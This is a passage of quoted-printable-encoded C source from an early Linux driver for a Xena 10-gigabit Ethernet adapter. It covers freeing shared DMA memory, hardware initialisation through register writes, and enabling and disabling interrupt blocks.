*) tmp_v_addr;=0A= memset(tmp_v_addr, 0, size);=0A= =0A= #ifndef XENA_ARCH_64=0A= DBG_PRINT(INIT_DBG, "%s:Ring Mem PHY: 0x%x\n", dev->name,=0A= tmp_p_addr);=0A= #else=0A= DBG_PRINT(INIT_DBG, "%s:Ring Mem PHY: 0x%lx\n", dev->name,=0A= tmp_p_addr);=0A= #endif=0A= =0A= return SUCCESS;=0A= }=0A= =0A= /* =0A= * Input Arguments: =0A= * Device peivate variable.=0A= * Return Value: =0A= * NONE=0A= * Description: =0A= * This function is to free all memory locations allocated by=0A= * the initSharedMem() function and return it to the kernel.=0A= */=0A= static void freeSharedMem(struct s2io_nic *nic)=0A= {=0A= int i, j, blk_cnt, size;=0A= void *tmp_v_addr;=0A= dma_addr_t tmp_p_addr;=0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= = =0A= =0A= if (!nic)=0A= return;=0A= =0A= mac_control =3D &nic->mac_control;=0A= config =3D &nic->config;=0A= =0A= if (nic->_fResource & TXD_ALLOCED) {=0A= nic->_fResource &=3D ~TXD_ALLOCED;=0A= pci_free_consistent(nic->pdev,=0A= mac_control->txd_list_mem_sz,=0A= mac_control->txd_list_mem,=0A= mac_control->txd_list_mem_phy);=0A= }=0A= =0A= if (nic->_fResource & RXD_ALLOCED) {=0A= nic->_fResource &=3D ~RXD_ALLOCED;=0A= size =3D (MAX_RXDS_PER_BLOCK + 1) * (sizeof(RxD_t));=0A= for (i =3D 0; i < config->RxRingNum; i++) {=0A= blk_cnt =3D nic->block_count[i];=0A= for (j =3D 0; j < blk_cnt; j++) {=0A= tmp_v_addr =3D=0A= nic->rx_blocks[i][j].block_virt_addr;=0A= tmp_p_addr =3D=0A= nic->rx_blocks[i][j].block_dma_addr;=0A= pci_free_consistent(nic->pdev, size,=0A= tmp_v_addr,=0A= tmp_p_addr);=0A= }=0A= }=0A= }=0A= =0A= if (nic->_fResource & STATS_ALLOCED) {=0A= nic->_fResource &=3D ~STATS_ALLOCED;=0A= pci_free_consistent(nic->pdev,=0A= mac_control->stats_mem_sz,=0A= mac_control->stats_mem,=0A= mac_control->stats_mem_phy);=0A= }=0A= }=0A= =0A= /* =0A= * Input Arguments: =0A= * device peivate variable=0A= * Return Value: =0A= * SUCCESS on success and '-1' on failure (endian settings incorrect).=0A= * Description: =0A= * The function sequentially configures every block =0A= * of the H/W from their reset values. =0A= */=0A= static int initNic(struct s2io_nic *nic)=0A= {=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= struct net_device *dev =3D nic->dev;=0A= register u64 val64 =3D 0;=0A= void *add;=0A= u32 time, mem_share;=0A= int i, j;=0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= =0A= mac_control =3D &nic->mac_control;=0A= config =3D &nic->config;=0A= =0A= /* Set proper endian settings and verify the same by reading the PIF =0A= Feed-back register */=0A= #ifdef __BIG_ENDIAN=0A= /* The device by default set to a big endian format, so a big endian=0A= * driver need not set anything.=0A= */=0A= write64(&bar0->swapper_ctrl, 0xffffffffffffffff);=0A= val64 =3D (SWAPPER_CTRL_PIF_R_FE |=0A= SWAPPER_CTRL_PIF_R_SE |=0A= SWAPPER_CTRL_PIF_W_FE |=0A= SWAPPER_CTRL_PIF_W_SE |=0A= SWAPPER_CTRL_TXP_FE |=0A= SWAPPER_CTRL_TXP_SE |=0A= SWAPPER_CTRL_TXD_R_FE |=0A= SWAPPER_CTRL_TXD_W_FE |=0A= SWAPPER_CTRL_TXF_R_FE |=0A= SWAPPER_CTRL_RXD_R_FE |=0A= SWAPPER_CTRL_RXD_W_FE |=0A= SWAPPER_CTRL_RXF_W_FE |=0A= SWAPPER_CTRL_XMSI_FE |=0A= SWAPPER_CTRL_XMSI_SE |=0A= SWAPPER_CTRL_STATS_FE | SWAPPER_CTRL_STATS_SE);=0A= write64(&bar0->swapper_ctrl, val64);=0A= #else=0A= /* Initially we enable all bits to make it accessible by the driver,=0A= * then we selectively enable only those bits that we want to set.=0A= */=0A= write64(&bar0->swapper_ctrl, 0xffffffffffffffff);=0A= val64 =3D (SWAPPER_CTRL_PIF_R_FE |=0A= SWAPPER_CTRL_PIF_R_SE |=0A= SWAPPER_CTRL_PIF_W_FE |=0A= SWAPPER_CTRL_PIF_W_SE |=0A= SWAPPER_CTRL_TXP_FE |=0A= SWAPPER_CTRL_TXP_SE |=0A= SWAPPER_CTRL_TXD_R_FE |=0A= SWAPPER_CTRL_TXD_R_SE |=0A= SWAPPER_CTRL_TXD_W_FE |=0A= SWAPPER_CTRL_TXD_W_SE |=0A= SWAPPER_CTRL_TXF_R_FE |=0A= SWAPPER_CTRL_RXD_R_FE |=0A= SWAPPER_CTRL_RXD_R_SE |=0A= SWAPPER_CTRL_RXD_W_FE |=0A= SWAPPER_CTRL_RXD_W_SE |=0A= SWAPPER_CTRL_RXF_W_FE |=0A= SWAPPER_CTRL_XMSI_FE |=0A= SWAPPER_CTRL_XMSI_SE |=0A= SWAPPER_CTRL_STATS_FE | SWAPPER_CTRL_STATS_SE);=0A= write64(&bar0->swapper_ctrl, val64);=0A= #endif=0A= =0A= /* Verifying if endian settings are accurate by reading a feedback=0A= * register.=0A= */=0A= val64 =3D read64(&bar0->pif_rd_swapper_fb);=0A= if (val64 !=3D 0x0123456789ABCDEF) {=0A= /* Endian settings are incorrect, calls for another dekko. */=0A= #ifndef XENA_ARCH_64=0A= DBG_PRINT(INIT_DBG, "%s: Endian settings are wrong",=0A= dev->name);=0A= DBG_PRINT(ERR_DBG, ", feedback read %llx\n", val64);=0A= #else=0A= DBG_PRINT(INIT_DBG, "%s: Endian settings are wrong",=0A= dev->name);=0A= DBG_PRINT(ERR_DBG, ", feedback read %lx\n", val64);=0A= #endif=0A= return FAILURE;=0A= }=0A= =0A= /* Remove XGXS from reset state*/=0A= val64 =3D 0;=0A= write64(&bar0->sw_reset, val64);=0A= mdelay(500);=0A= =0A= /* Need to set correct values in the following PIC Control registers =0A= * 1. PIC Control=0A= * 2. Tx request timeout=0A= * 3. Stats request timeout=0A= * 4. Read retry delay=0A= * 5. Read retry acclereration=0A= * 6. Write retry delay=0A= * 7. Write retry acclereration=0A= */=0A= =0A= /* Enable Receiving broadcasts */=0A= val64 =3D read64(&bar0->mac_cfg);=0A= val64 |=3D MAC_RMAC_BCAST_ENABLE;=0A= write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= write64(&bar0->mac_cfg, val64);=0A= =0A= /* Read registers in all blocks */=0A= val64 =3D read64(&bar0->mac_int_mask);=0A= val64 =3D read64(&bar0->mc_int_mask);=0A= val64 =3D read64(&bar0->xgxs_int_mask);=0A= =0A= /* Set MTU */=0A= val64 =3D dev->mtu;=0A= write64(&bar0->rmac_max_pyld_len, vBIT(val64, 2, 14));=0A= =0A= /* Enable DTX_Control registers. */=0A= /* LATEST Fix given by Richard to fix XAUI Configuration */=0A= write64(&bar0->dtx_control, 0x8000051500000000);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80000515000000E0);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80000515D93500E4);=0A= udelay(50);=0A= =0A= write64(&bar0->dtx_control, 0x8001051500000000);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80010515000000E0);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80010515001E00E4);=0A= udelay(50);=0A= =0A= write64(&bar0->dtx_control, 0x8002051500000000);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80020515000000E0);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80020515F21000E4);=0A= udelay(50);=0A= =0A= #if 0 /* XAUI FIX For Some Xena I NICs in the Lab */=0A= write64(&bar0->dtx_control, 0x8000051500000000);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80000515000000E0);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80000515D93500EC);=0A= udelay(50);=0A= =0A= write64(&bar0->dtx_control, 0x8001051500000000);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80010515000000E0);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80010515000000EC);=0A= udelay(50);=0A= =0A= write64(&bar0->dtx_control, 0x8002051500000000);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80020515000000E0);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80020515000000EC);=0A= udelay(50);=0A= =0A= write64(&bar0->mdio_control, 0x0018040000000000);=0A= udelay(50);=0A= write64(&bar0->mdio_control, 0x00180400000000E0);=0A= udelay(50);=0A= write64(&bar0->mdio_control, 0x00180400000000EC);=0A= udelay(50);=0A= =0A= write64(&bar0->dtx_control, 0x0000051500000000);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x00000515604000E0);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x00000515604000E4);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x00000515204000E4);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x00000515204000EC);=0A= udelay(50);=0A= =0A= write64(&bar0->mdio_control, 0x0018040000000000);=0A= udelay(50);=0A= write64(&bar0->mdio_control, 0x00180400000000E0);=0A= udelay(50);=0A= write64(&bar0->mdio_control, 0x00180400000000EC);=0A= udelay(50);=0A= #else=0A= /* Set PADLOOPBACKN */=0A= write64(&bar0->dtx_control, 0x8002051500000000);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80020515000000E0);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80020515B20000E4);=0A= udelay(50);=0A= =0A= /* Set PADLOOPBACKN */=0A= write64(&bar0->dtx_control, 0x8003051500000000);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80030515000000E0);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80030515B20000E4);=0A= udelay(50);=0A= =0A= /* Set PADLOOPBACKN */=0A= write64(&bar0->dtx_control, 0x8004051500000000);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80040515000000E0);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80040515B20000E4);=0A= udelay(50);=0A= =0A= /* Set PADLOOPBACKN */=0A= write64(&bar0->dtx_control, 0x8005051500000000);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80050515000000E0);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80050515B20000E4);=0A= udelay(50);=0A= =0A= /* Reset PMA PLL */=0A= write64(&bar0->mdio_control, 0xC001010000000000);=0A= udelay(50);=0A= write64(&bar0->mdio_control, 0xC0010100000000E0);=0A= udelay(50);=0A= write64(&bar0->mdio_control, 0xC0010100008000E4);=0A= udelay(50);=0A= =0A= /* Remove Reset from PMA PLL */=0A= write64(&bar0->mdio_control, 0xC001010000000000);=0A= udelay(50);=0A= write64(&bar0->mdio_control, 0xC0010100000000E0);=0A= udelay(50);=0A= write64(&bar0->mdio_control, 0xC0010100000000E4);=0A= udelay(50);=0A= =0A= /* Remove PADLOOPBACKN */=0A= write64(&bar0->dtx_control, 0x8002051500000000);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80020515000000E0);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80020515F20000E4);=0A= udelay(50);=0A= =0A= /* Remove PADLOOPBACKN */=0A= write64(&bar0->dtx_control, 0x8003051500000000);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80030515000000E0);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80030515F20000E4);=0A= udelay(50);=0A= =0A= /* Remove PADLOOPBACKN */=0A= write64(&bar0->dtx_control, 0x8004051500000000);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80040515000000E0);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80040515F20000E4);=0A= udelay(50);=0A= =0A= /* Remove PADLOOPBACKN */=0A= write64(&bar0->dtx_control, 0x8005051500000000);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80050515000000E0);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80050515F20000E4);=0A= udelay(50);=0A= #endif=0A= =0A= /* Tx DMA Initialization */=0A= val64 =3D 0;=0A= write64(&bar0->tx_fifo_partition_0, val64);=0A= write64(&bar0->tx_fifo_partition_1, val64);=0A= write64(&bar0->tx_fifo_partition_2, val64);=0A= write64(&bar0->tx_fifo_partition_3, val64);=0A= =0A= =0A= for (i =3D 0, j =3D 0; i < config->TxFIFONum; i++) {=0A= val64 |=3D=0A= vBIT(config->TxCfg[i].FifoLen - 1, ((i * 32) + 19),=0A= 13) | vBIT(config->TxCfg[i].FifoPriority,=0A= ((i * 32) + 5), 3);=0A= =0A= if (i =3D=3D (config->TxFIFONum - 1)) {=0A= if (i % 2 =3D=3D 0)=0A= i++;=0A= }=0A= =0A= switch (i) {=0A= case 1:=0A= write64(&bar0->tx_fifo_partition_0, val64);=0A= val64 =3D 0;=0A= break;=0A= case 3:=0A= write64(&bar0->tx_fifo_partition_1, val64);=0A= val64 =3D 0;=0A= break;=0A= case 5:=0A= write64(&bar0->tx_fifo_partition_2, val64);=0A= val64 =3D 0;=0A= break;=0A= case 7:=0A= write64(&bar0->tx_fifo_partition_3, val64);=0A= break;=0A= }=0A= }=0A= =0A= /* Enable Tx FIFO partition 0. */=0A= val64 =3D read64(&bar0->tx_fifo_partition_0);=0A= val64 |=3D BIT(0); /* To enable the FIFO partition. */=0A= write64(&bar0->tx_fifo_partition_0, val64);=0A= =0A= val64 =3D read64(&bar0->tx_fifo_partition_0);=0A= #ifndef XENA_ARCH_64=0A= DBG_PRINT(INIT_DBG, "Fifo partition at: 0x%p is: 0x%llx\n",=0A= &bar0->tx_fifo_partition_0, val64);=0A= #else=0A= DBG_PRINT(INIT_DBG, "Fifo partition at: 0x%p is: 0x%lx\n",=0A= &bar0->tx_fifo_partition_0, val64);=0A= #endif=0A= =0A= /* Initialization of Tx_PA_CONFIG register to ignore packet integrity =0A= * checking.=0A= */=0A= val64 =3D read64(&bar0->tx_pa_cfg);=0A= val64 |=3D TX_PA_CFG_IGNORE_FRM_ERR | TX_PA_CFG_IGNORE_SNAP_OUI |=0A= TX_PA_CFG_IGNORE_LLC_CTRL | TX_PA_CFG_IGNORE_L2_ERR;=0A= write64(&bar0->tx_pa_cfg, val64);=0A= =0A= /* Rx DMA intialization. */=0A= val64 =3D 0;=0A= for (i =3D 0; i < config->RxRingNum; i++) {=0A= val64 |=3D=0A= vBIT(config->RxCfg[i].RingPriority, (5 + (i * 8)),=0A= 3);=0A= }=0A= write64(&bar0->rx_queue_priority, val64);=0A= =0A= /* Allocating equal share of memory to all the configured Rings. */=0A= #if 1=0A= val64 =3D 0;=0A= for (i =3D 0; i < config->RxRingNum; i++) {=0A= switch (i) {=0A= case 0:=0A= mem_share =3D (64 / config->RxRingNum +=0A= 64 % config->RxRingNum);=0A= val64 |=3D RX_QUEUE_CFG_Q0_SZ(mem_share);=0A= continue;=0A= case 1:=0A= mem_share =3D (64 / config->RxRingNum);=0A= val64 |=3D RX_QUEUE_CFG_Q1_SZ(mem_share);=0A= continue;=0A= case 2:=0A= mem_share =3D (64 / config->RxRingNum);=0A= val64 |=3D RX_QUEUE_CFG_Q2_SZ(mem_share);=0A= continue;=0A= case 3:=0A= mem_share =3D (64 / config->RxRingNum);=0A= val64 |=3D RX_QUEUE_CFG_Q3_SZ(mem_share);=0A= continue;=0A= case 4:=0A= mem_share =3D (64 / config->RxRingNum);=0A= val64 |=3D RX_QUEUE_CFG_Q4_SZ(mem_share);=0A= continue;=0A= case 5:=0A= mem_share =3D (64 / config->RxRingNum);=0A= val64 |=3D RX_QUEUE_CFG_Q5_SZ(mem_share);=0A= continue;=0A= case 6:=0A= mem_share =3D (64 / config->RxRingNum);=0A= val64 |=3D RX_QUEUE_CFG_Q6_SZ(mem_share);=0A= continue;=0A= case 7:=0A= mem_share =3D (64 / config->RxRingNum);=0A= val64 |=3D RX_QUEUE_CFG_Q7_SZ(mem_share);=0A= continue;=0A= }=0A= }=0A= val64 =3D RX_QUEUE_CFG_Q0_SZ(64);=0A= write64(&bar0->rx_queue_cfg, val64);=0A= #else=0A= val64 =3D RX_QUEUE_CFG_Q0_SZ(64);=0A= write64(&bar0->rx_queue_cfg, val64); /* Setting Q0 with all RLDRAM =0A= * space.=0A= */=0A= #endif=0A= =0A= /* Initializing the Rx round robin registers.=0A= * Still to fill the Round Robin registers depending on number of =0A= * Tx FIFOs and Rx RINGs. As of now The Rx round robin registers =0A= * will be initlaized with the same values as the Tx counterparts.=0A= * TODO */=0A= write64(&bar0->rx_w_round_robin_0, round_robin_reg0);=0A= write64(&bar0->rx_w_round_robin_1, round_robin_reg1);=0A= write64(&bar0->rx_w_round_robin_2, round_robin_reg2);=0A= write64(&bar0->rx_w_round_robin_3, round_robin_reg3);=0A= write64(&bar0->rx_w_round_robin_4, round_robin_reg4);=0A= =0A= /* Disable Rx steering. Hard coding all packets be steered to=0A= * Queue 0 for now. =0A= * TODO*/=0A= if (rx_prio) {=0A= u64 def =3D 0x8000000000000000, tmp;=0A= for (i =3D 0; i < MAX_RX_RINGS; i++) {=0A= tmp =3D (u64) (def >> (i % config->RxRingNum));=0A= val64 |=3D (u64) (tmp >> (i * 8));=0A= }=0A= write64(&bar0->rts_qos_steering, val64);=0A= } else {=0A= val64 =3D 0x8080808080808080;=0A= write64(&bar0->rts_qos_steering, val64);=0A= }=0A= =0A= /* Disable the device from passing packets with L/T mismatch to the = host.*/=0A= val64 =3D read64(&bar0->rmac_err_cfg);=0A= val64 &=3D ~RMAC_ERR_LEN_MISMATCH;=0A= write64(&bar0->rmac_err_cfg, val64);=0A= =0A= /* UDP Fix */=0A= val64 =3D 0;=0A= for (i =3D 1; i < 8; i++)=0A= write64(&bar0->rts_frm_len_n[i], val64);=0A= =0A= /* Set rts_frm_len register for fifo 0 */=0A= write64(&bar0->rts_frm_len_n[0],=0A= MAC_RTS_FRM_LEN_SET((dev->mtu) + 22));=0A= =0A= = =0A= =0A= /* Enable statistics */=0A= write64(&bar0->stat_addr, (u64) mac_control->stats_mem_phy);=0A= val64 =3D SET_UPDT_PERIOD(8) | STAT_CFG_STAT_RO | STAT_CFG_STAT_EN;=0A= write64(&bar0->stat_cfg, val64);=0A= =0A= /* Initializing the sampling rate for the device to calculate the=0A= * bandwidth utilization.=0A= */=0A= val64 =3D MAC_TX_LINK_UTIL_VAL(0x5) | MAC_RX_LINK_UTIL_VAL(0x5);=0A= write64(&bar0->mac_link_util, val64);=0A= =0A= /* Initializing the Transmit and Receive Traffic Interrupt Scheme */=0A= =0A= /* TTI Initialization */=0A= val64 =3D TTI_DATA1_MEM_TX_TIMER_VAL(0xFFF) |=0A= TTI_DATA1_MEM_TX_URNG_A(0xA) | TTI_DATA1_MEM_TX_URNG_B(0x10) |=0A= TTI_DATA1_MEM_TX_URNG_C(0x30) | TTI_DATA1_MEM_TX_TIMER_AC_EN;=0A= write64(&bar0->tti_data1_mem, val64);=0A= =0A= val64 =3D=0A= TTI_DATA2_MEM_TX_UFC_A(0x10) | TTI_DATA2_MEM_TX_UFC_B(0x20) |=0A= TTI_DATA2_MEM_TX_UFC_C(0x40) | TTI_DATA2_MEM_TX_UFC_D(0x80);=0A= write64(&bar0->tti_data2_mem, val64);=0A= =0A= val64 =3D TTI_CMD_MEM_WE | TTI_CMD_MEM_STROBE_NEW_CMD;=0A= write64(&bar0->tti_command_mem, val64);=0A= /* Wait for the operation to complete */=0A= time =3D 0;=0A= while (TRUE) {=0A= val64 =3D read64(&bar0->tti_command_mem);=0A= if (!(val64 & TTI_CMD_MEM_STROBE_NEW_CMD)) {=0A= break;=0A= }=0A= if (time > 50) {=0A= DBG_PRINT(ERR_DBG, "%s: TTI init Failed\n",=0A= dev->name);=0A= return -1;=0A= }=0A= mdelay(10);=0A= time++;=0A= }=0A= =0A= /* RTI Initialization */=0A= val64 =3D RTI_DATA1_MEM_RX_TIMER_VAL(0xFFF) |=0A= RTI_DATA1_MEM_RX_URNG_A(0xA) | RTI_DATA1_MEM_RX_URNG_B(0x10) |=0A= RTI_DATA1_MEM_RX_URNG_C(0x30) | RTI_DATA1_MEM_RX_TIMER_AC_EN;=0A= write64(&bar0->rti_data1_mem, val64);=0A= =0A= val64 =3D RTI_DATA2_MEM_RX_UFC_A(0x1) | RTI_DATA2_MEM_RX_UFC_B(0x2) |=0A= RTI_DATA2_MEM_RX_UFC_C(0x40) | RTI_DATA2_MEM_RX_UFC_D(0x80);=0A= write64(&bar0->rti_data2_mem, val64);=0A= =0A= val64 =3D RTI_CMD_MEM_WE | RTI_CMD_MEM_STROBE_NEW_CMD;=0A= write64(&bar0->rti_command_mem, val64);=0A= =0A= /* Wait for the operation to complete */=0A= time =3D 0;=0A= while (TRUE) {=0A= val64 =3D read64(&bar0->rti_command_mem);=0A= if (!(val64 & TTI_CMD_MEM_STROBE_NEW_CMD)) {=0A= break;=0A= }=0A= if (time > 50) {=0A= DBG_PRINT(ERR_DBG, "%s: RTI init Failed\n",=0A= dev->name);=0A= return -1;=0A= }=0A= time++;=0A= mdelay(10);=0A= }=0A= =0A= /* Initializing proper values as Pause threshold into all the 8 Queues =0A= * on Rx side.=0A= */=0A= write64(&bar0->mc_pause_thresh_q0q3, 0xffbbffbbffbbffbb);=0A= write64(&bar0->mc_pause_thresh_q4q7, 0xffbbffbbffbbffbb);=0A= =0A= /* Disable RMAC PAD STRIPPING */=0A= add =3D (void *) &bar0->mac_cfg;=0A= val64 =3D read64(&bar0->mac_cfg);=0A= val64 &=3D ~(MAC_CFG_RMAC_STRIP_PAD);=0A= write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= writel((u32) (val64), add);=0A= write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= writel((u32) (val64 >> 32), (add + 4));=0A= val64 =3D read64(&bar0->mac_cfg);=0A= =0A= return SUCCESS;=0A= }=0A= =0A= /* =0A= * Input Arguments: =0A= * device private variable,=0A= * A mask indicating which Intr block must be modified and,=0A= * A flag indicating whether to enable or disable the Intrs.=0A= * Return Value: =0A= * NONE.=0A= * Description: =0A= * This function will either disable or enable the interrupts =0A= * depending on the flag argument. The mask argument can be used to =0A= * enable/disable any Intr block. =0A= */=0A= static void en_dis_able_NicIntrs(struct s2io_nic *nic, u16 mask, int = flag)=0A= {=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= register u64 val64 =3D 0, temp64 =3D 0;=0A= =0A= /* Top level interrupt classification */=0A= /* PIC Interrupts */=0A= if ((mask & (TX_PIC_INTR | RX_PIC_INTR))) {=0A= /* Enable PIC Intrs in the general intr mask register */=0A= val64 =3D TXPIC_INT_M | PIC_RX_INT_M;=0A= if (flag =3D=3D ENABLE_INTRS) {=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= temp64 &=3D ~((u64) val64);=0A= write64(&bar0->general_int_mask, temp64);=0A= /* Disabled all PCIX, Flash, MDIO, IIC and GPIO=0A= * interrupts for now. =0A= * TODO */=0A= write64(&bar0->pic_int_mask, DISABLE_ALL_INTRS);=0A= /* No MSI Support is available presently, so TTI and=0A= * RTI interrupts are also disabled.=0A= */=0A= } else if (flag =3D=3D DISABLE_INTRS) {=0A= /* Disable PIC Intrs in the general intr mask register =0A= */=0A= write64(&bar0->pic_int_mask, DISABLE_ALL_INTRS);=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= val64 |=3D temp64;=0A= write64(&bar0->general_int_mask, val64);=0A= }=0A= }=0A= =0A= /* DMA Interrupts */=0A= /* Enabling/Disabling Tx DMA interrupts */=0A= if (mask & TX_DMA_INTR) {=0A= /* Enable TxDMA Intrs in the general intr mask register */=0A= val64 =3D TXDMA_INT_M;=0A= if (flag =3D=3D ENABLE_INTRS) {=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= temp64 &=3D ~((u64) val64);=0A= write64(&bar0->general_int_mask, temp64);=0A= /* Disable all interrupts other than PFC interrupt in =0A= * DMA level.=0A= */=0A= val64 =3D DISABLE_ALL_INTRS & (~TXDMA_PFC_INT_M);=0A= write64(&bar0->txdma_int_mask, val64);=0A= /* Enable only the MISC error 1 interrupt in PFC block =0A= */=0A= val64 =3D DISABLE_ALL_INTRS & (~PFC_MISC_ERR_1);=0A= write64(&bar0->pfc_err_mask, val64);=0A= } else if (flag =3D=3D DISABLE_INTRS) {=0A= /* Disable TxDMA Intrs in the general intr mask =0A= * register */=0A= write64(&bar0->txdma_int_mask, DISABLE_ALL_INTRS);=0A= write64(&bar0->pfc_err_mask, DISABLE_ALL_INTRS);=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= val64 |=3D temp64;=0A= write64(&bar0->general_int_mask, val64);=0A= }=0A= }=0A= =0A= /* Enabling/Disabling Rx DMA interrupts */=0A= if (mask & RX_DMA_INTR) {=0A= /* Enable RxDMA Intrs in the general intr mask register */=0A= val64 =3D RXDMA_INT_M;=0A= if (flag =3D=3D ENABLE_INTRS) {=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= temp64 &=3D ~((u64) val64);=0A= write64(&bar0->general_int_mask, temp64);=0A= /* All RxDMA block interrupts are disabled for now =0A= * TODO */=0A= write64(&bar0->rxdma_int_mask, DISABLE_ALL_INTRS);=0A= } else if (flag =3D=3D DISABLE_INTRS) {=0A= /* Disable RxDMA Intrs in the general intr mask =0A= * register */=0A= write64(&bar0->rxdma_int_mask, DISABLE_ALL_INTRS);=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= val64 |=3D temp64;=0A= write64(&bar0->general_int_mask, val64);=0A= }=0A= }=0A= =0A= /* MAC Interrupts */=0A= /* Enabling/Disabling MAC interrupts */=0A= if (mask & (TX_MAC_INTR | RX_MAC_INTR)) {=0A= val64 =3D TXMAC_INT_M | RXMAC_INT_M;=0A= if (flag =3D=3D ENABLE_INTRS) {=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= temp64 &=3D ~((u64) val64);=0A= write64(&bar0->general_int_mask, temp64);=0A= /* All MAC block error interrupts are disabled for now =0A= * except the link status change interrupt.=0A= * TODO*/=0A= val64 =3D MAC_INT_STATUS_RMAC_INT;=0A= temp64 =3D read64(&bar0->mac_int_mask);=0A= temp64 &=3D ~((u64) val64);=0A= write64(&bar0->mac_int_mask, temp64);=0A= =0A= val64 =3D read64(&bar0->mac_rmac_err_mask);=0A= val64 &=3D ~((u64) RMAC_LINK_STATE_CHANGE_INT);=0A= write64(&bar0->mac_rmac_err_mask, val64);=0A= } else if (flag =3D=3D DISABLE_INTRS) {=0A= /* Disable MAC Intrs in the general intr mask register =0A= */=0A= write64(&bar0->mac_int_mask, DISABLE_ALL_INTRS);=0A= write64(&bar0->mac_rmac_err_mask,=0A= DISABLE_ALL_INTRS);=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= val64 |=3D temp64;=0A= write64(&bar0->general_int_mask, val64);=0A= }=0A= }=0A= =0A= /* XGXS Interrupts */=0A= if (mask & (TX_XGXS_INTR | RX_XGXS_INTR)) {=0A= val64 =3D TXXGXS_INT_M | RXXGXS_INT_M;=0A= if (flag =3D=3D ENABLE_INTRS) {=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= temp64 &=3D ~((u64) val64);=0A= write64(&bar0->general_int_mask, temp64);=0A= /* All XGXS block error interrupts are disabled for now=0A= * TODO */=0A= write64(&bar0->xgxs_int_mask, DISABLE_ALL_INTRS);=0A= } else if (flag =3D=3D DISABLE_INTRS) {=0A= /* Disable MC Intrs in the general intr mask register =0A= */=0A= write64(&bar0->xgxs_int_mask, DISABLE_ALL_INTRS);=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= val64 |=3D temp64;=0A= write64(&bar0->general_int_mask, val64);=0A= }=0A= }=0A= =0A= /* Memory Controller(MC) interrupts */=0A= if (mask & MC_INTR) {=0A= val64 =3D MC_INT_M;=0A= if (flag =3D=3D ENABLE_INTRS) {=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= temp64 &=3D ~((u64) val64);=0A= write64(&bar0->general_int_mask, temp64);=0A= /* All MC block error interrupts are disabled for now=0A= * TODO */=0A= write64(&bar0->mc_int_mask, DISABLE_ALL_INTRS);=0A= } else if (flag =3D=3D DISABLE_INTRS) {=0A= /* Disable MC Intrs in the general intr mask register=0A= */=0A= write64(&bar0->mc_int_mask, DISABLE_ALL_INTRS);=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= val64 |=3D temp64;=0A= write64(&bar0->general_int_mask, val64);=0A= }=0A= }=0A= =0A= =0A= /* Tx traffic interrupts */=0A= if (mask & TX_TRAFFIC_INTR) {=0A= val64 =3D TXTRAFFIC_INT_M;=0A= if (flag =3D=3D ENABLE_INTRS) {=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= temp64 &=3D ~((u64) val64);=0A= write64(&bar0->general_int_mask, temp64);=0A= /* Enable all the Tx side interrupts */=0A= write64(&bar0->tx_traffic_mask, 0x0); /* '0' Enables =0A= * all 64 TX =0A= * interrupt =0A= * levels.=0A= */=0A= } else if (flag =3D=3D DISABLE_INTRS) {=0A= /* Disable Tx Traffic Intrs in the general intr mask =0A= * register.=0A= */=0A= write64(&bar0->tx_traffic_mask, DISABLE_ALL_INTRS);=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= val64 |=3D temp64;=0A= write64(&bar0->general_int_mask, val64);=0A= }=0A= }=0A= =0A= /* Rx traffic interrupts */=0A= if (mask & RX_TRAFFIC_INTR) {=0A= val64 =3D RXTRAFFIC_INT_M;=0A= if (flag =3D=3D ENABLE_INTRS) {=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= temp64 &=3D ~((u64) val64);=0A= write64(&bar0->general_int_mask, temp64);=0A= 